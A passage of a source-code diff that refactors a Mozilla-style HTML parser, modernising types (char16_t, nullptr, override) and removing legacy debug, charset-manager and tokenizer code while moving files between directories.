- nsParserContinueEvent(nsParser* aParser)
+ explicit nsParserContinueEvent(nsParser* aParser)
: mParser(aParser)
{}
@@ -130,40 +127,6 @@ public:
//-------------- End ParseContinue Event Definition ------------------------
-nsICharsetConverterManager* nsParser::sCharsetConverterManager = nullptr;
-
-/**
- * This gets called when the htmlparser module is initialized.
- */
-// static
-nsresult
-nsParser::Init()
-{
- nsresult rv;
-
- nsCOMPtr<nsICharsetConverterManager> charsetConverter =
- do_GetService(NS_CHARSETCONVERTERMANAGER_CONTRACTID, &rv);
- NS_ENSURE_SUCCESS(rv, rv);
-
- charsetConverter.swap(sCharsetConverterManager);
-
- return NS_OK;
-}
-
-
-/**
- * This gets called when the htmlparser module is shutdown.
- */
-// static
-void nsParser::Shutdown()
-{
- NS_IF_RELEASE(sCharsetConverterManager);
-}
-
-#ifdef DEBUG
-static bool gDumpContent=false;
-#endif
-
/**
* default constructor
*/
@@ -180,12 +143,6 @@ nsParser::~nsParser()
void
nsParser::Initialize(bool aConstructor)
{
-#ifdef DEBUG
- if (!gDumpContent) {
- gDumpContent = PR_GetEnv("PARSER_DUMP_CONTENT") != nullptr;
- }
-#endif
-
if (aConstructor) {
// Raw pointer
mParserContext = 0;
@@ -214,20 +171,6 @@ void
nsParser::Cleanup()
{
#ifdef DEBUG
- if (gDumpContent) {
- if (mSink) {
- // Sink (HTMLContentSink at this time) supports nsIDebugDumpContent
- // interface. We can get to the content model through the sink.
- nsresult result = NS_OK;
- nsCOMPtr<nsIDebugDumpContent> trigger = do_QueryInterface(mSink, &result);
- if (NS_SUCCEEDED(result)) {
- trigger->DumpContentModel();
- }
- }
- }
-#endif
-
-#ifdef DEBUG
if (mParserContext && mParserContext->mPrevContext) {
NS_WARNING("Extra parser contexts still on the parser stack");
}
@@ -245,6 +188,8 @@ nsParser::Cleanup()
NS_ASSERTION(!(mFlags & NS_PARSER_FLAG_PENDING_CONTINUE_EVENT), "bad");
}
+NS_IMPL_CYCLE_COLLECTION_CLASS(nsParser)
+
NS_IMPL_CYCLE_COLLECTION_UNLINK_BEGIN(nsParser)
NS_IMPL_CYCLE_COLLECTION_UNLINK(mDTD)
NS_IMPL_CYCLE_COLLECTION_UNLINK(mSink)
@@ -314,9 +259,9 @@ NS_IMETHODIMP_(void)
nsParser::SetCommand(const char* aCommand)
{
mCommandStr.Assign(aCommand);
- if (mCommandStr.Equals("view-source")) {
+ if (mCommandStr.EqualsLiteral("view-source")) {
mCommand = eViewSource;
- } else if (mCommandStr.Equals("view-fragment")) {
+ } else if (mCommandStr.EqualsLiteral("view-fragment")) {
mCommand = eViewFragment;
} else {
mCommand = eViewNormal;
@@ -409,13 +354,13 @@ static int32_t
ParsePS(const nsString& aBuffer, int32_t aIndex)
{
for (;;) {
- PRUnichar ch = aBuffer.CharAt(aIndex);
- if ((ch == PRUnichar(' ')) || (ch == PRUnichar('\t')) ||
- (ch == PRUnichar('\n')) || (ch == PRUnichar('\r'))) {
+ char16_t ch = aBuffer.CharAt(aIndex);
+ if ((ch == char16_t(' ')) || (ch == char16_t('\t')) ||
+ (ch == char16_t('\n')) || (ch == char16_t('\r'))) {
++aIndex;
- } else if (ch == PRUnichar('-')) {
+ } else if (ch == char16_t('-')) {
int32_t tmpIndex;
- if (aBuffer.CharAt(aIndex+1) == PRUnichar('-') &&
+ if (aBuffer.CharAt(aIndex+1) == char16_t('-') &&
kNotFound != (tmpIndex=aBuffer.Find("--",false,aIndex+2,-1))) {
aIndex = tmpIndex + 2;
} else {
@@ -448,8 +393,8 @@ ParseDocTypeDecl(const nsString &aBuffer,
do {
theIndex = aBuffer.FindChar('<', theIndex);
if (theIndex == kNotFound) break;
- PRUnichar nextChar = aBuffer.CharAt(theIndex+1);
- if (nextChar == PRUnichar('!')) {
+ char16_t nextChar = aBuffer.CharAt(theIndex+1);
+ if (nextChar == char16_t('!')) {
int32_t tmpIndex = theIndex + 2;
if (kNotFound !=
(theIndex=aBuffer.Find("DOCTYPE", true, tmpIndex, 0))) {
@@ -459,7 +404,7 @@ ParseDocTypeDecl(const nsString &aBuffer,
}
theIndex = ParsePS(aBuffer, tmpIndex);
theIndex = aBuffer.FindChar('>', theIndex);
- } else if (nextChar == PRUnichar('?')) {
+ } else if (nextChar == char16_t('?')) {
theIndex = aBuffer.FindChar('>', theIndex);
} else {
break;
@@ -486,8 +431,8 @@ ParseDocTypeDecl(const nsString &aBuffer,
// Now find the beginning and end of the public identifier
// and the system identifier (if present).
- PRUnichar lit = aBuffer.CharAt(theIndex);
- if ((lit != PRUnichar('\"')) && (lit != PRUnichar('\'')))
+ char16_t lit = aBuffer.CharAt(theIndex);
+ if ((lit != char16_t('\"')) && (lit != char16_t('\'')))
return false;
// Start is the first character, excluding the quote, and End is
@@ -498,15 +443,15 @@ ParseDocTypeDecl(const nsString &aBuffer,
if (kNotFound == PublicIDEnd)
return false;
theIndex = ParsePS(aBuffer, PublicIDEnd + 1);
- PRUnichar next = aBuffer.CharAt(theIndex);
- if (next == PRUnichar('>')) {
+ char16_t next = aBuffer.CharAt(theIndex);
+ if (next == char16_t('>')) {
// There was a public identifier, but no system
// identifier,
// so do nothing.
// This is needed to avoid the else at the end, and it's
// also the most common case.
- } else if ((next == PRUnichar('\"')) ||
- (next == PRUnichar('\''))) {
+ } else if ((next == char16_t('\"')) ||
+ (next == char16_t('\''))) {
// We found a system identifier.
*aResultFlags |= PARSE_DTD_HAVE_SYSTEM_ID;
int32_t SystemIDStart = theIndex + 1;
@@ -515,7 +460,7 @@ ParseDocTypeDecl(const nsString &aBuffer,
return false;
aSystemID =
Substring(aBuffer, SystemIDStart, SystemIDEnd - SystemIDStart);
- } else if (next == PRUnichar('[')) {
+ } else if (next == char16_t('[')) {
// We found an internal subset.
*aResultFlags |= PARSE_DTD_HAVE_INTERNAL_SUBSET;
} else {
@@ -535,8 +480,8 @@ ParseDocTypeDecl(const nsString &aBuffer,
*aResultFlags |= PARSE_DTD_HAVE_SYSTEM_ID;
theIndex = ParsePS(aBuffer, tmpIndex+6);
- PRUnichar next = aBuffer.CharAt(theIndex);
- if (next != PRUnichar('\"') && next != PRUnichar('\''))
+ char16_t next = aBuffer.CharAt(theIndex);
+ if (next != char16_t('\"') && next != char16_t('\''))
return false;
int32_t SystemIDStart = theIndex + 1;
@@ -549,10 +494,10 @@ ParseDocTypeDecl(const nsString &aBuffer,
theIndex = ParsePS(aBuffer, SystemIDEnd + 1);
}
- PRUnichar nextChar = aBuffer.CharAt(theIndex);
- if (nextChar == PRUnichar('['))
+ char16_t nextChar = aBuffer.CharAt(theIndex);
+ if (nextChar == char16_t('['))
*aResultFlags |= PARSE_DTD_HAVE_INTERNAL_SUBSET;
- else if (nextChar != PRUnichar('>'))
+ else if (nextChar != char16_t('>'))
return false;
}
return true;
@@ -693,6 +638,20 @@ VerifyPublicIDs()
}
#endif
+namespace {
+
+struct PublicIdComparator
+{
+ const nsAutoCString& mPublicId;
+ explicit PublicIdComparator(const nsAutoCString& aPublicId)
+ : mPublicId(aPublicId) {}
+ int operator()(const PubIDInfo& aInfo) const {
+ return nsCRT::strcmp(mPublicId.get(), aInfo.name);
+ }
+};
+
+} // namespace
+
static void
DetermineHTMLParseMode(const nsString& aBuffer,
nsDTDMode& aParseMode,
@@ -717,7 +676,7 @@ DetermineHTMLParseMode(const nsString& aBuffer,
// Special hack for IBM's custom DOCTYPE.
if (!(resultFlags & PARSE_DTD_HAVE_INTERNAL_SUBSET) &&
- sysIDUCS2 == NS_LITERAL_STRING(
+ sysIDUCS2.EqualsLiteral(
"http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd")) {
aParseMode = eDTDMode_quirks;
aDocType = eHTML_Quirks;
@@ -733,29 +692,15 @@ DetermineHTMLParseMode(const nsString& aBuffer,
// sensitivity.
ToLowerCase(publicID);
- // Binary search to see if we can find the correct public ID
- // These must be signed since maximum can go below zero and we'll
- // crash if it's unsigned.
- int32_t minimum = 0;
- int32_t maximum = ELEMENTS_OF(kPublicIDs) - 1;
- int32_t index;
- for (;;) {
- index = (minimum + maximum) / 2;
- int32_t comparison =
- nsCRT::strcmp(publicID.get(), kPublicIDs[index].name);
- if (comparison == 0)
- break;
- if (comparison < 0)
- maximum = index - 1;
- else
- minimum = index + 1;
-
- if (maximum < minimum) {
- // The DOCTYPE is not in our list, so it must be full_standards.
- aParseMode = eDTDMode_full_standards;
- aDocType = eHTML_Strict;
- return;
- }
+ // Binary search to see if we can find the correct public ID.
+ size_t index;
+ bool found = BinarySearchIf(kPublicIDs, 0, ArrayLength(kPublicIDs),
+ PublicIdComparator(publicID), &index);
+ if (!found) {
+ // The DOCTYPE is not in our list, so it must be full_standards.
+ aParseMode = eDTDMode_full_standards;
+ aDocType = eHTML_Strict;
+ return;
}
switch ((resultFlags & PARSE_DTD_HAVE_SYSTEM_ID)
@@ -807,8 +752,9 @@ FindSuitableDTD(CParserContext& aParserContext)
aParserContext.mAutoDetectStatus = ePrimaryDetect;
// Quick check for view source.
- NS_ABORT_IF_FALSE(aParserContext.mParserCommand != eViewSource,
- "The old parser is not supposed to be used for View Source anymore.");
+ MOZ_ASSERT(aParserContext.mParserCommand != eViewSource,
+ "The old parser is not supposed to be used for View Source "
+ "anymore.");
// Now see if we're parsing HTML (which, as far as we're concerned, simply
// means "not XML").
@@ -905,7 +851,7 @@ nsParser::WillBuildModel(nsString& aFilename)
if (eDTDMode_unknown == mParserContext->mDTDMode ||
eDTDMode_autodetect == mParserContext->mDTDMode) {
- PRUnichar buf[1025];
+ char16_t buf[1025];
nsFixedString theBuffer(buf, 1024, 0);
// Grab 1024 characters, starting at the first non-whitespace
@@ -1007,12 +953,6 @@ nsParser::PopContext()
if (mParserContext->mStreamListenerState != eOnStop) {
mParserContext->mStreamListenerState = oldContext->mStreamListenerState;
}
- // Update the current context's tokenizer to any information gleaned
- // while parsing document.write() calls (such as "a plaintext tag was
- // found")
- if (mParserContext->mTokenizer) {
- mParserContext->mTokenizer->CopyState(oldContext->mTokenizer);
- }
}
}
return oldContext;
@@ -1389,15 +1329,15 @@ nsParser::ParseFragment(const nsAString& aSourceBuffer,
mFlags &= ~NS_PARSER_FLAG_OBSERVERS_ENABLED;
for (theIndex = 0; theIndex < theCount; theIndex++) {
- theContext.AppendLiteral("<");
+ theContext.Append('<');
theContext.Append(aTagStack[theCount - theIndex - 1]);
- theContext.AppendLiteral(">");
+ theContext.Append('>');
}
if (theCount == 0) {
// Ensure that the buffer is not empty. Because none of the DTDs care
// about leading whitespace, this doesn't change the result.
- theContext.AssignLiteral(" ");
+ theContext.Assign(' ');
}
// First, parse the context to build up the DTD's tag stack. Note that we
@@ -1446,14 +1386,14 @@ nsParser::ParseFragment(const nsAString& aSourceBuffer,
nsString& thisTag = aTagStack[theIndex];
// was there an xmlns=?
- int32_t endOfTag = thisTag.FindChar(PRUnichar(' '));
+ int32_t endOfTag = thisTag.FindChar(char16_t(' '));
if (endOfTag == -1) {
endContext.Append(thisTag);
} else {
endContext.Append(Substring(thisTag,0,endOfTag));
}
- endContext.AppendLiteral(">");
+ endContext.Append('>');
}
result = Parse(endContext,
@@ -1573,7 +1513,9 @@ nsParser::ResumeParse(bool allowIteration, bool aIsFinalChunk,
if (theContext) {
theIterationIsOk = allowIteration && theContextIsStringBased;
if (theContext->mCopyUnused) {
- theContext->mScanner->CopyUnusedData(mUnusedInput);
+ if (!theContext->mScanner->CopyUnusedData(mUnusedInput)) {
+ mInternalState = NS_ERROR_OUT_OF_MEMORY;
+ }
}
delete theContext;
@@ -1617,11 +1559,7 @@ nsParser::BuildModel()
if (NS_SUCCEEDED(result)) {
if (mDTD) {
- bool inDocWrite = !!mParserContext->mPrevContext;
- result = mDTD->BuildModel(theTokenizer,
- // ignore interruptions in document.write
- !inDocWrite, // don't count lines in document.write
- &mCharset);
+ result = mDTD->BuildModel(theTokenizer, mSink);
}
} else {
mInternalState = result = NS_ERROR_HTMLPARSER_BADTOKENIZER;
@@ -1665,20 +1603,6 @@ nsParser::OnStartRequest(nsIRequest *request, nsISupports* aContext)
return rv;
}
-
-static inline bool IsSecondMarker(unsigned char aChar)
-{
- switch (aChar) {
- case '!':
- case '?':
- case 'h':
- case 'H':
- return true;
- default:
- return false;
- }
-}
-
static bool
ExtractCharsetFromXmlDeclaration(const unsigned char* aBytes, int32_t aLen,
nsCString& oCharset)
@@ -1992,8 +1916,7 @@ nsParser::WillTokenize(bool aIsFinalChunk)
nsITokenizer* theTokenizer;
nsresult result = mParserContext->GetTokenizer(mDTD, mSink, theTokenizer);
NS_ENSURE_SUCCESS(result, false);
- return NS_SUCCEEDED(theTokenizer->WillTokenize(aIsFinalChunk,
- &mTokenAllocator));
+ return NS_SUCCEEDED(theTokenizer->WillTokenize(aIsFinalChunk));
}
@@ -2012,27 +1935,13 @@ nsresult nsParser::Tokenize(bool aIsFinalChunk)
}
if (NS_SUCCEEDED(result)) {
- if (mFlags & NS_PARSER_FLAG_FLUSH_TOKENS) {
- // For some reason tokens didn't get flushed (probably
- // the parser got blocked before all the tokens in the
- // stack got handled). Flush 'em now. Ref. bug 104856
- if (theTokenizer->GetCount() != 0) {
- return result;
- }
-
- // Reset since the tokens have been flushed.
- mFlags &= ~NS_PARSER_FLAG_FLUSH_TOKENS;
- }
-
bool flushTokens = false;
- mParserContext->mNumConsumed = 0;
-
bool killSink = false;
WillTokenize(aIsFinalChunk);
while (NS_SUCCEEDED(result)) {
- mParserContext->mNumConsumed += mParserContext->mScanner->Mark();
+ mParserContext->mScanner->Mark();
result = theTokenizer->ConsumeToken(*mParserContext->mScanner,
flushTokens);
if (NS_FAILED(result)) {
@@ -2050,11 +1959,10 @@ nsresult nsParser::Tokenize(bool aIsFinalChunk)
// Flush tokens on seeing </SCRIPT> -- Ref: Bug# 22485 --
// Also remember to update the marked position.
mFlags |= NS_PARSER_FLAG_FLUSH_TOKENS;
- mParserContext->mNumConsumed += mParserContext->mScanner->Mark();
+ mParserContext->mScanner->Mark();
break;
}
}
- DidTokenize(aIsFinalChunk);
if (killSink) {
mSink = nullptr;
@@ -2067,26 +1975,6 @@ nsresult nsParser::Tokenize(bool aIsFinalChunk)
}
/**
- * This is the tail-end of the code sandwich for the
- * tokenization process. It gets called once tokenziation
- * has completed for each phase.
- */
-bool
-nsParser::DidTokenize(bool aIsFinalChunk)
-{
- if (!mParserContext) {
- return true;
- }
-
- nsITokenizer* theTokenizer;
- nsresult rv = mParserContext->GetTokenizer(mDTD, mSink, theTokenizer);
- NS_ENSURE_SUCCESS(rv, false);
-
- rv = theTokenizer->DidTokenize(aIsFinalChunk);
- return NS_SUCCEEDED(rv);
-}
-
-/**
* Get the channel associated with this parser
*
* @param aChannel out param that will contain the result
diff --git a/parser/htmlparser/src/nsParser.h b/parser/htmlparser/nsParser.h
index 901c0add4..54bccf4f5 100644
--- a/parser/htmlparser/src/nsParser.h
+++ b/parser/htmlparser/nsParser.h
@@ -43,31 +43,35 @@
#include "nsIParser.h"
#include "nsDeque.h"
-#include "nsParserNode.h"
#include "nsIURL.h"
#include "CParserContext.h"
#include "nsParserCIID.h"
#include "nsITokenizer.h"
#include "nsHTMLTags.h"
-#include "nsDTDUtils.h"
#include "nsIContentSink.h"
#include "nsCOMArray.h"
#include "nsCycleCollectionParticipant.h"
#include "nsWeakReference.h"
-class nsICharsetConverterManager;
class nsIDTD;
class nsScanner;
+class nsIRunnable;
#ifdef _MSC_VER
#pragma warning( disable : 4275 )
#endif
-class nsParser : public nsIParser,
- public nsIStreamListener,
- public nsSupportsWeakReference
+class nsParser final : public nsIParser,
+ public nsIStreamListener,
+ public nsSupportsWeakReference
{
+ /**
+ * Destructor
+ * @update gess5/11/98
+ */
+ virtual ~nsParser();
+
public:
/**
* Called on module init
@@ -89,26 +93,20 @@ class nsParser : public nsIParser,
nsParser();
/**
- * Destructor
- * @update gess5/11/98
- */
- virtual ~nsParser();
-
- /**
* Select given content sink into parser for parser output
* @update gess5/11/98
* @param aSink is the new sink to be used by parser
- * @return old sink, or NULL
+ * @return old sink, or nullptr
*/
- NS_IMETHOD_(void) SetContentSink(nsIContentSink* aSink);
+ NS_IMETHOD_(void) SetContentSink(nsIContentSink* aSink) override;
/**
* retrive the sink set into the parser
* @update gess5/11/98
* @param aSink is the new sink to be used by parser
- * @return old sink, or NULL
+ * @return old sink, or nullptr
*/
- NS_IMETHOD_(nsIContentSink*) GetContentSink(void);
+ NS_IMETHOD_(nsIContentSink*) GetContentSink(void) override;
/**
* Call this method once you've created a parser, and want to instruct it
@@ -119,9 +117,9 @@ class nsParser : public nsIParser,
* @param aCommand -- ptrs to string that contains command
* @return nada
*/
- NS_IMETHOD_(void) GetCommand(nsCString& aCommand);
- NS_IMETHOD_(void) SetCommand(const char* aCommand);
- NS_IMETHOD_(void) SetCommand(eParserCommands aParserCommand);
+ NS_IMETHOD_(void) GetCommand(nsCString& aCommand) override;
+ NS_IMETHOD_(void) SetCommand(const char* aCommand) override;
+ NS_IMETHOD_(void) SetCommand(eParserCommands aParserCommand) override;
/**
* Call this method once you've created a parser, and want to instruct it
@@ -132,9 +130,9 @@ class nsParser : public nsIParser,
* @param aCharsetSource- the source of the charset
* @return nada
*/
- NS_IMETHOD_(void) SetDocumentCharset(const nsACString& aCharset, int32_t aSource);
+ NS_IMETHOD_(void) SetDocumentCharset(const nsACString& aCharset, int32_t aSource) override;
- NS_IMETHOD_(void) GetDocumentCharset(nsACString& aCharset, int32_t& aSource)
+ NS_IMETHOD_(void) GetDocumentCharset(nsACString& aCharset, int32_t& aSource) override
{
aCharset = mCharset;
aSource = mCharsetSource;
@@ -150,13 +148,13 @@ class nsParser : public nsIParser,
NS_IMETHOD Parse(nsIURI* aURL,
nsIRequestObserver* aListener = nullptr,
void* aKey = 0,
- nsDTDMode aMode = eDTDMode_autodetect);
+ nsDTDMode aMode = eDTDMode_autodetect) override;
/**
* This method needs documentation
*/
NS_IMETHOD ParseFragment(const nsAString& aSourceBuffer,
- nsTArray<nsString>& aTagStack);
+ nsTArray<nsString>& aTagStack) override;
/**
* This method gets called when the tokens have been consumed, and it's time
@@ -164,13 +162,13 @@ class nsParser : public nsIParser,
* @update gess5/11/98
* @return YES if model building went well -- NO otherwise.
*/
- NS_IMETHOD BuildModel(void);
+ NS_IMETHOD BuildModel(void) override;
- NS_IMETHOD ContinueInterruptedParsing();
- NS_IMETHOD_(void) BlockParser();
- NS_IMETHOD_(void) UnblockParser();
- NS_IMETHOD_(void) ContinueInterruptedParsingAsync();
- NS_IMETHOD Terminate(void);
+ NS_IMETHOD ContinueInterruptedParsing() override;
+ NS_IMETHOD_(void) BlockParser() override;
+ NS_IMETHOD_(void) UnblockParser() override;
+ NS_IMETHOD_(void) ContinueInterruptedParsingAsync() override;
+ NS_IMETHOD Terminate(void) override;
/**
* Call this to query whether the parser is enabled or not.
@@ -178,7 +176,7 @@ class nsParser : public nsIParser,
* @update vidur 4/12/99
* @return current state
*/
- NS_IMETHOD_(bool) IsParserEnabled();
+ NS_IMETHOD_(bool) IsParserEnabled() override;
/**
* Call this to query whether the parser thinks it's done with parsing.
@@ -186,7 +184,7 @@ class nsParser : public nsIParser,
* @update rickg 5/12/01
* @return complete state
*/
- NS_IMETHOD_(bool) IsComplete();
+ NS_IMETHOD_(bool) IsComplete() override;
/**
* This rather arcane method (hack) is used as a signal between the
@@ -229,7 +227,7 @@ class nsParser : public nsIParser,
* @param aChannel out param that will contain the result
* @return NS_OK if successful
*/
- NS_IMETHOD GetChannel(nsIChannel** aChannel);
+ NS_IMETHOD GetChannel(nsIChannel** aChannel) override;
/**
* Get the DTD associated with this parser
@@ -237,12 +235,12 @@ class nsParser : public nsIParser,
* @param aDTD out param that will contain the result
* @return NS_OK if successful, NS_ERROR_FAILURE for runtime error
*/
- NS_IMETHOD GetDTD(nsIDTD** aDTD);
+ NS_IMETHOD GetDTD(nsIDTD** aDTD) override;
/**
* Get the nsIStreamListener for this parser
*/
- virtual nsIStreamListener* GetStreamListener();
+ virtual nsIStreamListener* GetStreamListener() override;
void SetSinkCharset(nsACString& aCharset);
@@ -251,32 +249,32 @@ class nsParser : public nsIParser,
* @update kmcclusk 5/18/98
*/
- NS_IMETHODIMP CancelParsingEvents();
+ NS_IMETHODIMP CancelParsingEvents() override;
/**
* Return true.
*/
- virtual bool IsInsertionPointDefined();
+ virtual bool IsInsertionPointDefined() override;
/**
* No-op.
*/
- virtual void BeginEvaluatingParserInsertedScript();
+ virtual void BeginEvaluatingParserInsertedScript() override;
/**
* No-op.
*/
- virtual void EndEvaluatingParserInsertedScript();
+ virtual void EndEvaluatingParserInsertedScript() override;
/**
* No-op.
*/
- virtual void MarkAsNotScriptCreated(const char* aCommand);
+ virtual void MarkAsNotScriptCreated(const char* aCommand) override;
/**
* Always false.
*/
- virtual bool IsScriptCreated();
+ virtual bool IsScriptCreated() override;
/**
* Set to parser state to indicate whether parsing tokens can be interrupted
@@ -301,11 +299,7 @@ class nsParser : public nsIParser,
*/
void HandleParserContinueEvent(class nsParserContinueEvent *);
- static nsICharsetConverterManager* GetCharsetConverterManager() {
- return sCharsetConverterManager;
- }
-
- virtual void Reset() {
+ virtual void Reset() override {
Cleanup();
Initialize();
}
@@ -368,17 +362,6 @@ private:
nsresult Tokenize(bool aIsFinalChunk = false);
/**
- * This is the tail-end of the code sandwich for the
- * tokenization process. It gets called once tokenziation
- * has completed.
- *
- * @update gess 3/25/98
- * @param
- * @return TRUE if all went well
- */
- bool DidTokenize(bool aIsFinalChunk = false);
-
- /**
* Pushes XML fragment parsing data to expat without an input stream.
*/
nsresult Parse(const nsAString& aSourceBuffer,
@@ -396,9 +379,7 @@ protected:
nsCOMPtr<nsIRequestObserver> mObserver;
nsCOMPtr<nsIContentSink> mSink;
nsIRunnable* mContinueEvent; // weak ref
-
- nsTokenAllocator mTokenAllocator;
-
+
eParserCommands mCommand;
nsresult mInternalState;
nsresult mStreamStatus;
@@ -412,8 +393,6 @@ protected:
bool mProcessingNetworkData;
bool mIsAboutBlank;
-
- static nsICharsetConverterManager* sCharsetConverterManager;
};
#endif
diff --git a/parser/htmlparser/public/nsParserBase.h b/parser/htmlparser/nsParserBase.h
index 83b68c554..83b68c554 100644
--- a/parser/htmlparser/public/nsParserBase.h
+++ b/parser/htmlparser/nsParserBase.h
diff --git a/parser/htmlparser/public/nsParserCIID.h b/parser/htmlparser/nsParserCIID.h
index 4a2b7b1ad..4a2b7b1ad 100644
--- a/parser/htmlparser/public/nsParserCIID.h
+++ b/parser/htmlparser/nsParserCIID.h
diff --git a/parser/htmlparser/nsParserConstants.h b/parser/htmlparser/nsParserConstants.h
new file mode 100644
index 000000000..e07a7e878
--- /dev/null
+++ b/parser/htmlparser/nsParserConstants.h
@@ -0,0 +1,39 @@
+/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* vim: set ts=2 sw=2 et tw=78: */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#ifndef nsParserConstants_h_
+#define nsParserConstants_h_
+const char16_t kNewLine = '\n';
+const char16_t kCR = '\r';
+const char16_t kLF = '\n';
+const char16_t kTab = '\t';
+const char16_t kSpace = ' ';
+const char16_t kQuote = '"';
+const char16_t kApostrophe = '\'';
+const char16_t kLessThan = '<';
+const char16_t kGreaterThan = '>';
+const char16_t kAmpersand = '&';
+const char16_t kForwardSlash = '/';
+const char16_t kBackSlash = '\\';
+const char16_t kEqual = '=';
+const char16_t kMinus = '-';
+const char16_t kPlus = '+';
+const char16_t kExclamation = '!';
+const char16_t kSemicolon = ';';
+const char16_t kHashsign = '#';
+const char16_t kAsterisk = '*';
+const char16_t kUnderbar = '_';
+const char16_t kComma = ',';
+const char16_t kLeftParen = '(';
+const char16_t kRightParen = ')';
+const char16_t kLeftBrace = '{';
+const char16_t kRightBrace = '}';
+const char16_t kQuestionMark = '?';
+const char16_t kLeftSquareBracket = '[';
+const char16_t kRightSquareBracket = ']';
+const char16_t kNullCh = '\0';
+
+#endif // nsParserConstants_h_
diff --git a/parser/htmlparser/src/nsParserModule.cpp b/parser/htmlparser/nsParserModule.cpp
index 1eae263bc..00c2d6c56 100644
--- a/parser/htmlparser/src/nsParserModule.cpp
+++ b/parser/htmlparser/nsParserModule.cpp
@@ -48,21 +48,21 @@ NS_DEFINE_NAMED_CID(NS_SAXXMLREADER_CID);
static const mozilla::Module::CIDEntry kParserCIDs[] = {
#if defined(DEBUG)
- { &kNS_EXPAT_DRIVER_CID, false, NULL, nsExpatDriverConstructor },
+ { &kNS_EXPAT_DRIVER_CID, false, nullptr, nsExpatDriverConstructor },
#endif
- { &kNS_PARSER_CID, false, NULL, nsParserConstructor },
- { &kNS_CNAVDTD_CID, false, NULL, CNavDTDConstructor },
- { &kNS_PARSERSERVICE_CID, false, NULL, nsParserServiceConstructor },
- { &kNS_SAXATTRIBUTES_CID, false, NULL, nsSAXAttributesConstructor },
- { &kNS_SAXXMLREADER_CID, false, NULL, nsSAXXMLReaderConstructor },
- { NULL }
+ { &kNS_PARSER_CID, false, nullptr, nsParserConstructor },
+ { &kNS_CNAVDTD_CID, false, nullptr, CNavDTDConstructor },
+ { &kNS_PARSERSERVICE_CID, false, nullptr, nsParserServiceConstructor },
+ { &kNS_SAXATTRIBUTES_CID, false, nullptr, nsSAXAttributesConstructor },
+ { &kNS_SAXXMLREADER_CID, false, nullptr, nsSAXXMLReaderConstructor },
+ { nullptr }
};
static const mozilla::Module::ContractIDEntry kParserContracts[] = {
{ NS_PARSERSERVICE_CONTRACTID, &kNS_PARSERSERVICE_CID },
{ NS_SAXATTRIBUTES_CONTRACTID, &kNS_SAXATTRIBUTES_CID },
{ NS_SAXXMLREADER_CONTRACTID, &kNS_SAXXMLREADER_CID },
- { NULL }
+ { nullptr }
};
static nsresult
@@ -79,13 +79,12 @@ Initialize()
#ifdef DEBUG
CheckElementTable();
#endif
- CNewlineToken::AllocNewline();
#ifdef DEBUG
nsHTMLTags::TestTagTable();
#endif
- return nsParser::Init();
+ return rv;
}
static void
@@ -93,17 +92,14 @@ Shutdown()
{
nsHTMLTags::ReleaseTable();
nsHTMLEntities::ReleaseTable();
- nsDTDContext::ReleaseGlobalObjects();
- nsParser::Shutdown();
- CNewlineToken::FreeNewline();
}
static mozilla::Module kParserModule = {
mozilla::Module::kVersion,
kParserCIDs,
kParserContracts,
- NULL,
- NULL,
+ nullptr,
+ nullptr,
Initialize,
Shutdown
};
diff --git a/parser/htmlparser/src/nsParserMsgUtils.cpp b/parser/htmlparser/nsParserMsgUtils.cpp
index 627f57a0e..627f57a0e 100644
--- a/parser/htmlparser/src/nsParserMsgUtils.cpp
+++ b/parser/htmlparser/nsParserMsgUtils.cpp
diff --git a/parser/htmlparser/src/nsParserMsgUtils.h b/parser/htmlparser/nsParserMsgUtils.h
index adf3fda8a..adf3fda8a 100644
--- a/parser/htmlparser/src/nsParserMsgUtils.h
+++ b/parser/htmlparser/nsParserMsgUtils.h
diff --git a/parser/htmlparser/src/nsParserService.cpp b/parser/htmlparser/nsParserService.cpp
index 794e1194b..d89badd01 100644
--- a/parser/htmlparser/src/nsParserService.cpp
+++ b/parser/htmlparser/nsParserService.cpp
@@ -20,7 +20,7 @@ nsParserService::~nsParserService()
{
}
-NS_IMPL_ISUPPORTS1(nsParserService, nsIParserService)
+NS_IMPL_ISUPPORTS(nsParserService, nsIParserService)
int32_t
nsParserService::HTMLAtomTagToId(nsIAtom* aAtom) const
@@ -40,7 +40,7 @@ nsParserService::HTMLStringTagToId(const nsAString& aTag) const
return nsHTMLTags::LookupTag(aTag);
}
-const PRUnichar*
+const char16_t*
nsParserService::HTMLIdToStringTag(int32_t aId) const
{
return nsHTMLTags::GetStringValue((nsHTMLTag)aId);
diff --git a/parser/htmlparser/src/nsParserService.h b/parser/htmlparser/nsParserService.h
index 8edd3688a..168f12a06 100644
--- a/parser/htmlparser/src/nsParserService.h
+++ b/parser/htmlparser/nsParserService.h
@@ -7,36 +7,36 @@
#define NS_PARSERSERVICE_H__
#include "nsIParserService.h"
-#include "nsDTDUtils.h"
extern "C" int MOZ_XMLIsLetter(const char* ptr);
extern "C" int MOZ_XMLIsNCNameChar(const char* ptr);
extern "C" int MOZ_XMLTranslateEntity(const char* ptr, const char* end,
- const char** next, PRUnichar* result);
+ const char** next, char16_t* result);
class nsParserService : public nsIParserService {
+ virtual ~nsParserService();
+
public:
nsParserService();
- virtual ~nsParserService();
NS_DECL_ISUPPORTS
- int32_t HTMLAtomTagToId(nsIAtom* aAtom) const;
+ int32_t HTMLAtomTagToId(nsIAtom* aAtom) const override;
- int32_t HTMLCaseSensitiveAtomTagToId(nsIAtom* aAtom) const;
+ int32_t HTMLCaseSensitiveAtomTagToId(nsIAtom* aAtom) const override;
- int32_t HTMLStringTagToId(const nsAString& aTag) const;
+ int32_t HTMLStringTagToId(const nsAString& aTag) const override;
- const PRUnichar *HTMLIdToStringTag(int32_t aId) const;
+ const char16_t *HTMLIdToStringTag(int32_t aId) const override;
- nsIAtom *HTMLIdToAtomTag(int32_t aId) const;
+ nsIAtom *HTMLIdToAtomTag(int32_t aId) const override;
NS_IMETHOD HTMLConvertEntityToUnicode(const nsAString& aEntity,
- int32_t* aUnicode) const;
+ int32_t* aUnicode) const override;
NS_IMETHOD HTMLConvertUnicodeToEntity(int32_t aUnicode,
- nsCString& aEntity) const;
- NS_IMETHOD IsContainer(int32_t aId, bool& aIsContainer) const;
- NS_IMETHOD IsBlock(int32_t aId, bool& aIsBlock) const;
+ nsCString& aEntity) const override;
